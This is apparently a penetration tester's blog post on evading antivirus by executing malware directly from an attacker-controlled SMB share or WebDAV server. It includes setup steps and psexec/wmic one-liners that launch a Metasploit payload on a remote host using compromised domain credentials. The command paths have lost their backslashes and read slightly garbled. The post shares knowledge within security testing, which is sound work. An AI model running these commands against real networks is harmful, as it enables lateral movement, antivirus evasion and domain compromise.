On a recent penetration test, I ran into an interesting problem whose solution resulted in several handy techniques for remote malware distribution and, in some cases, antivirus bypass. These techniques may be common amongst seasoned penetration testers, but I felt they were worth sharing with the rest of the information security community, seeing as it doesn’t disclose any “patchable” vulnerabilities
I had gained user access to the target environment and conducted a password guessing attack against the domain which netted a privileged set of credentials with access equivalent to Local Administrator on every client. This account gave me the ability to execute commands on remote operating systems. The traditional next step is either to copy token impersonation malware to a system with Domain Administrator tokens present and impersonate the domain administrator token, or migrate into one of the domain administrator’s processes, achieving the maximum level of privilege on the domain.
In this particular case, any malware that I attempted to upload and execute on a remote system was promptly removed by antivirus software. In most cases I would package the malware using one of my custom antivirus bypassing techniques (not disclosed here), upload and execute it, bypassing the antivirus software. However, I didn’t have my antivirus bypass kit readily available, so I thought maybe if I placed the malware in a read-only share on a system I controlled, psexec’d a cmd.exe shell to the remote host, and launched the malware directly from my share via SMB, I may just get it past antivirus. I wasn’t optimistic. To my complete surprise, the malware fired without interference from antivirus.
As it turns out, antivirus clients do not scan network shares by default due to the amount of bandwidth that would be consumed if all hosts were scanning their mapped network drives simultaneously. There is usually, however, a setting to scan shared files on access, but this settings is also disabled by default. In this case, both remained disabled and I was able to execute malware remotely without putting the malware through encoding gymnastics to bypass antivirus.
While this is a pretty neat technique to keep in mind for future engagements, I wanted to take this a step further. I was chatting with Mark Baggett about the previos technique and he mentioned to me how he executes Sysinternal’s tools directly from their live website via WebDAV. That was all I needed to hear. Immediately, I began looking for an easy way to host files via WebDAV. While setting up WebDAV in Windows appears simple, getting all the permissions to work correctly in modern versions of IIS can be painful. So I turned to Metasploit and some of the existing modules, such as the DLL injection exploit which hosts executables and malicious DLLs via WebDAV. The code wasn’t designed to do what I was asking it to do and needed to be modified. I’m a Python guy, so I’ll admit, I was lost in the Ruby. I turned to a good friend and Ruby guru, Chris Gates (@carnal0wnage). In a few short moments, he whipped up a WebDAV web server auxiliary module which he released on his blog. The objective here was to execute malware hosted on a web server over port 80 without ever moving the malware to the target system. This, because egress traffic over port 445 is usually restricted or at least easily detected. As expected, I was able to access the malware on the target system, WIN!… only in this case, antivirus promptly killed it. FAIL! During testing, Chris noticed that the malware was getting caught in prefetch. Unfortunately, there’s no way around this. That’s just the way the WebClient service works. Bummer.
So we have 2 things here:
1. Hosting malware in a shared folder and executing it remotely via SMB will, based on client configuration, bypass antivirus and launch the malware.
2. Hosting malware on a WebDAV server and executing it remotely will access the malware, but gets caught by antivirus, requiring additional steps to avoid detection.
Depending on your goal, level of access, and ability to manipulate malware to avoid antivirus, one of these techniques may be useful to you. Below I’ve outlined how I set up each of these techniques.
Remote Malware Deployment via SMB:
1. Share a folder on a windows system you control.
2. In order to avoid having to pass credentials, give ‘Everyone’ share and NTFS permissions to ‘read and execute’ contents of the shared folder.
3. In order for unauthenticated users to qualify as ‘Everyone’, enable the built-in ‘Guest’ account which is disabled by default in modern versions of Windows.
4. Remove the ‘Guest’ account from the ‘Deny access to this computer from the network’ setting in the Local Security Policy. You should now have unauthenticated access to the share.
FREE CHICKEN!: Want an effective way to prevent your universal Administrator account from coming back to haunt you, while allowing it to still be useful? Add it here. You can do this for every system in the domain via GPO. That way, the account can be used locally, but the hashes can’t be used against you remotely. Thanks for the tip Tim!
5. Use psexec or wmic (courtesy Tim Medin) to execute the malware on the remote host, in one command, without mapping a network share.
psexec \10.106.14.20 /u domaincompromised_user /p password "\10.220.52.76testmsf.exe"
or
wmic /node:10.106.14.20 /user:domaincompromised_user /password:password process call create "\10.220.52.76testmsf.exe"
Remote Malware Deployment via WebDAV:
1. Put obfuscated malware in a folder.
2. launch Metasploit and load CG’s webdav_file_server module.
3. Set the module options and run the module.
4. Use psexec or wmic (once again, courtesy Tim Medin) to execute the malware on the remote host, in one command, without mapping a network share. The same command as above, changing only the attacker controlled path, should work.
psexec \10.106.14.20 /u domaincompromised_user /p password "\10.220.52.76documentsmsf.exe"
or
wmic /node:10.106.14.20 /user:domaincompromised_user /password:password process call create "\10.220.52.76documentsmsf.exe"
#WIN!
